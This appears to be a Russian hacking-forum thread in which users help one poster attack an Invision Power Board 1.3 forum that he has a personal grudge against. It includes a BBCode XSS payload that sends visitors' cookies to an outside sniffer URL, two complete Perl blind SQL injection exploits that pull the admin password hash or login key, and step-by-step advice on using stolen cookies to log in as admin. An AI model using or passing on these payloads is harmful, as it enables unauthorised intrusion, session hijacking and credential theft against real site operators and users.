сплоит: http://www.securitylab.ru/vulnerability/source/211900.php посмотри тут: http://forum.antichat.ru/thread15678.html и тут http://www.yandex.ru/yandsearch?stype=&nl=0&text=%E2%E7%EB%EE%EC+Invision+Power+Board%28U%29+v 1.3+Final+ вот xss можно запостить как сообщение: [e*mail]wj@wj[u*rl=http://www.wj.com`=`][/url].com[/email] ` style=`background:url(javascript:document.images[1].src="http://antichat.ru/cgi-bin/s.jpg?"+document.cookie);` (Нужно убрать все *) Где http://antichat.ru/cgi-bin/s.jpg? Это ссылка на сниффер на данный момент куки должны прилететь сюда http://www.antichat.ru/sniff/log.php Советую создать свой собственный сниффер так как он более удобный чем паблик. и вот: http://rst.void.ru/download/r57ipb2.txt сплоит для похищения хэша Code: #!/usr/bin/perl ## Invision Power Board SQL injection exploit by RST/GHC ## vulnerable forum versions : 1.* , 2.* (<2.0.4) ## tested on version 1.3 Final and version 2.0.2 ## * work on all mysql versions ## * work with magic_quotes On (use %2527 for bypass magic_quotes_gpc = On) ## (c)oded by 1dt.w0lf ## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~ ## screen: ## ~~~~~~~ ## r57ipb2.pl blah.com /ipb13/ 1 0 ## [~] SERVER : blah.com ## [~] PATH : /ipb13/ ## [~] MEMBER ID : 1 ## [~] TARGET : 0 - IPB 1.* ## [~] SEARCHING PASSWORD ... [ DONE ] ## ## MEMBER ID : 1 ## PASSWORD : 5f4dcc3b5aa765d61d8327deb882cf99 ## ## r57ipb2.pl blah.com /ipb202/ 1 1 ## [~] SERVER : blah.com ## [~] PATH : /ipb202/ ## [~] MEMBER ID : 1 ## [~] TARGET : 1 - IPB 2.* ## [~] SEARCHING PASSWORD ... [ DONE ] ## ## MEMBER ID : 1 ## MEMBER_LOGIN_KEY : f14c54ff6915dfe3827c08f47617219d ## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~ ## Greets: James Bercegay of the GulfTech Security Research Team ## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~ ## Credits: RST/GHC , http://rst.void.ru , http://ghc.ru ## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~ use IO::Socket; if (@ARGV < 4) { &usage; } $server = $ARGV[0]; $path = $ARGV[1]; $member_id = $ARGV[2]; $target = $ARGV[3]; $pass = ($target)?('member_login_key'):('password'); $server =~ s!(http://)!!; $request = 'http://'; $request .= $server; $request .= $path; $s_num = 1; $|++; $n = 0; print "[~] SERVER : $server\r\n"; print "[~] PATH : $path\r\n"; print "[~] MEMBER ID : $member_id\r\n"; print "[~] TARGET : $target"; print (($target)?(' - IPB 2.*'):(' - IPB 1.*')); print "\r\n"; print "[~] SEARCHING PASSWORD ... [|]"; ($cmember_id = $member_id) =~ s/(.)/"%".uc(sprintf("%2.2x",ord($1)))/eg; while(1) { if(&found(47,58)==0) { &found(96,122); } $char = $i; if ($char=="0") { if(length($allchar) > 0){ print qq{bb DONE ] MEMBER ID : $member_id }; print (($target)?('MEMBER_LOGIN_KEY : '):('PASSWORD : ')); print $allchar."\r\n"; } else { print "\b\b FAILED ]"; } exit(); } else { $allchar .= chr($i); } $s_num++; } sub found($$) { my $fmin = $_[0]; my $fmax = $_[1]; if (($fmax-$fmin)<5) { $i=crack($fmin,$fmax); return $i; } $r = int($fmax - ($fmax-$fmin)/2); $check = " BETWEEN $r AND $fmax"; if ( &check($check) ) { &found($r,$fmax); } else { &found($fmin,$r); } } sub crack($$) { my $cmin = $_[0]; my $cmax = $_[1]; $i = $cmin; while ($i<$cmax) { $crcheck = "=$i"; if ( &check($crcheck) ) { return $i; } $i++; } $i = 0; return $i; } sub check($) { $n++; status(); $ccheck = $_[0]; $pass_hash1 = "%36%36%36%2527%20%4F%52%20%28%69%64%3D"; $pass_hash2 = "%20%41%4E%44%20%61%73%63%69%69%28%73%75%62%73%74%7 2%69%6E%67%28"; $pass_hash3 = $pass.",".$s_num.",1))".$ccheck.") /*"; $pass_hash3 =~ s/(.)/"%".uc(sprintf("%2.2x",ord($1)))/eg; $nmalykh = "%26%231054%3B%26%231081%3B+%26%231088%3B%26%231072 %3B%26%231073%3B%26%231086%3B%26%231090%3B%26%2310 72%3B%26%231077%3B%26%231090%3B%21"; $socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$server", PeerPort => "80"); printf $socket ("GET %sindex.php?act=Login&CODE=autologin HTTP/1.0\nHost: %s\nAccept: */*\nCookie: member_id=%s; pass_hash=%s%s%s%s%s\nConnection: close\n\n", $path,$server,$cmember_id,$pass_hash1,$cmember_id, $pass_hash2,$pass_hash3,$nmalykh); while(<$socket>) { if (/Set-Cookie: session_id=0;/) { return 1; } } return 0; } sub status() { $status = $n % 5; if($status==0){ print "\b\b/]"; } if($status==1){ print "\b\b-]"; } if($status==2){ print "\b\b\\]"; } if($status==3){ print "\b\b|]"; } } sub usage() { print q( Invision Power Board v < 2.0.4 SQL injection exploit ---------------------------------------------------- USAGE: ~~~~~~ r57ipb2.pl [server] [/folder/] [member_id] [target] [server] - host where IPB installed [/folder/] - folder where IPB installed [member_id] - user id for brute targets: 0 - IPB 1.* 1 - IPB 2.* (Prior To 2.0.4) e.g. r57ipb2.pl 127.0.0.1 /IPB/ 1 1 ---------------------------------------------------- (c)oded by 1dt.w0lf RST/GHC , http://rst.void.ru , http://ghc.ru ); exit(); } ещё сплоит: http://rapidshare.de/files/21359678/1.3_final.rar.html тема про уязвимости ipb: http://forum.antichat.ru/thread11615-v1.3+Final.html Invision Power Board <= 1.3.1 Login.PHP SQL Injection: http://www.milw0rm.com/id.php?id=1036 вот ещё какойто скрипт: Code: use LWP::UserAgent; $ua = new LWP::UserAgent; $ua->agent("Mosiac 1.0" . $ua->agent); if (!$ARGV[0]) {$ARGV[0] = '';} if (!$ARGV[3]) {$ARGV[3] = '';} my $path = $ARGV[0] . '/index.php?act=Login&CODE=autologin'; my $user = $ARGV[1]; my $iver = $ARGV[2]; my $cpre = $ARGV[3]; my $dbug = $ARGV[4]; if (!$ARGV[0] and !$ARGV[1] and !$ARGV[2] and !$ARGV[3]) { print "Input like ./perl ./r57ipb.pl [addres] [userid] [version] [c_fix]\r\n"; print "[addres] = like www.site.com/forum/\r\n"; print "[userid] = user id\r\n"; print "[version] = 1 - v1.0.x or 2 - v2.0.x\r\n"; print "[c_fix] = cookie prefix by defoult its ibf_\r\n"; exit; } my @charset = ("0","1","2","3","4","5","6","7","8","9","a","b","c","d","e","f"); my $outputs = ''; for( $i=1; $i < 33; $i++ ) { for( $j=0; $j < 16; $j++ ) { my $current = $charset[$j]; my $sql = ( $iver < 2 ) ? "99%2527+OR+(id%3d$user+AND+MID(password,$i,1)%3d%2 527$current%2527)/*" : "99%2527+OR+(id%3d$user+AND+MID(member_login_key,$i ,1)%3d%2527$current%2527)/*"; my @cookie = ('Cookie' => $cpre . "member_id=31337420; " . $cpre . "pass_hash=" . $sql); my $res = $ua->get($path, @cookie); # If we get a valid sql request then this # does not appear anywhere in the sources $pattern = '<title>(.*)Log In(.*)</title>'; $_ = $res->content; if ($dbug) { print }; if ( !(/$pattern/) ) { $outputs .= $current; print "$i char = $current\n"; last; } } if ( length($outputs) < 1 ) { print "Not Exploitable!\n"; exit; } } print "Cookie: " . $cpre . "member_id=" . $user . ";" . $cpre . "pass_hash=" . $outputs; exit; # milw0rm.com [2005-05-26] но скорее всего эт муль...(я от ipb 1.3)
угу! активно работаю! =)) хочу вернуть репу, и попасть в закрытые =)) и вообще, просто тема такая - прям захотелось собрать всё =))) интересно знаете ли...
Ого! На самом деле, по написал-то! Спасибо большое! Уверен что не только мне понадобится. Давайте разбираться (я просто до этого ни когда таким не занимался, не надо было, да и теперь гадить не хочу, просто личные сЧёты. так что у меня только базовые знания...) Эксплоит пока попробовать не могу, т.к. завтра только Апачь со всем комплектом возьму... Пробовал сообщением в "предворительном просмотре", остаётся текст: [E*MAIL][email protected][/E*MAIL] ` style=`background:url(javascript:document.images[1].src="http://antichat.ru/cgi-bin/s.jpg?"+document.cookie);` Короче. "url" исчезает... (кстати, зачем вообще он там нужен Так что, походу это не катит? Или я торможу и чё-то не то делаю ? З.Ы. Вообщем помогите кто чем может плиз!
О! Извеняюсь что сразу не посмотрел. Сорьки! Короче подошёл этот вариант: [H*TML][E*MAIL][U*RL=wj`=`][/U*RL][/E*MAIL][/c*olor][c*olor=white]` style=`background:url(javascript:document.images [1].src="http://antichat.ru/cgi-bin/s.jpg?"+document.cookie)`[/color] После него в "предворительном просмотре" остаётся: [H*TML][E*MAIL][/E*MAIL][/c*olor] Правда если выделить текст, то и всё остальное видно Но это походу только в IE прокатит, если я не ошибаюсь?
Походу после того как я отослал это сообщение, при чтеннии этой ветки в: http://www.antichat.ru/sniff/log.php Должны появляться куки, даже если я захожу на форум? Так вот, там ничего не появляется И вообще, как определить чьи это куки пришли, перебором? Походу в member_id нужно ставить 1, что б зайти под админом? А из снифера из QUERY вставить в pass_hash? Правильно я понял концепцию?
Не очень правильно ты понял. Куки те придут с той страницы, на которой открывается твоё сообщение с xss. В мембер ид надо ставить не 1, а мембер ид админа. Это не всегда 1. Узнаётся очень просто. Просто мышку на ник навести и внизу браузера ссылка отобразится.
Я короче сглупил... Меня спутало - session_id в снифире, я пытался догнать как эту одну строку распихать по (member_id, pass_hash, forum_read) Теперь я уже в курсе про сесии... Ладно, к сути: 1.) Примеры с XSS прокатят только в IE? 2.) Я перепробовал все XSS примеры из темы - "Обзор уязвимостей Ipb", (хоть как-то)преобразовался только один (цвет я добавил от себя): [H*TML][E*MAIL][U*RL=wj`=`][/U*RL][/E*MAIL][/c*olor][c*olor=#eef2f7]` style=`background:url(javascript:document.images [1].src="http://antichat.ru/cgi-bin/s.jpg?"+document.cookie)`[/c*olor] , но куки всёравно не отсылаються на снифер Посмотрел в код страницы: <BR><SPAN style="COLOR: #eef2f7"><BR> HTML: [EMAIL]<A href="http://wj`=`/" target=_blank></A>[/EMAIL]</SPAN><SPAN style="COLOR: #eef2f7">` style=`background:url(javascript:document.images 1].src="http://antichat.ru/cgi-bin/s.jpg?"+document.cookie)`</SPAN> Походу нифига не преобразовалось... Что делать? qBiN в своей статье писал что это прокатывает в 9и из 10и форумов, неужели я попвл в 10ый? ;) З.Ы. Кстати на "моём" форуме есть только таки тэги: [U*RL][I*MG][E*MAIL][Q*UOTE][C*ODE][L*IST][B*][I*][U*] Форум - Invision Power Board(U) v1.3 Final Может поможет чем...
Если ты видишь код в браузере, значит xss не работает. Без разницы какого цвета. Ну звёздочки ты убрал разумеется? Попробуй скульники лучше. Ты не в 10 попал, просто времени много прошло.
Ясенько... Но там ведь некоторые тэги попроподали... url вроде пропал... Ну разумеется Кого попробовать? Жаль...
Вообщем поставил я себе Денвер2_ой, скачал эксплоит. И когда я его запускаю вот такие ошибки выдаёт: loki2004.nm.ru/shot.GIF Пробовал через батник: --- start C:\WebServers\usr\bin\Perl.exe C:\ex.pl goodboard.ru /name_of_forum/ 1 0 --- Вообще 0 реакции... открыло консольку и моментом закрыло... Ставил "pause" смотрел, ничего вообще не выдаёт... Шо за магия такая?... З.Ы. Кстати я хоть в правильном месте писал имя форума? А то меня сбивает что он называеться не "forum" как в большинстве случаев, а там идёт так - "http://SOME_NAME.goodboard.ru/" З.Ы.Ы. За что отвечают последнее / 1 0?
народ форумы Invision Power Board(U) v1.3 Final на 0bb.ru/ вообще уязвимы или там уже все дыры прикрыты если да то какой сплойт юзать.. уже кучу всего перепробывал и безрезультатно
Помойму нада так: 1 и 0 Это помойму зависит от версии движка, для 1.х и для 2.х... Вроде так. Удачи. Добавлено: А вообще посмотрел несколько форумов, похоже там скульников нет
воопрос на не прощели просто в cmd указывать путь до эксплоита и команду.. али это только с актив_пером пашет (ибо с денверовским перлом не проверял)
в стандартном денвере мало пакетов перловых. так что либо качай дополнительно Perl для денвера, либо ActivePerl. второй даже лучше, тк там есть ещё кроме всего прочего документация для перл.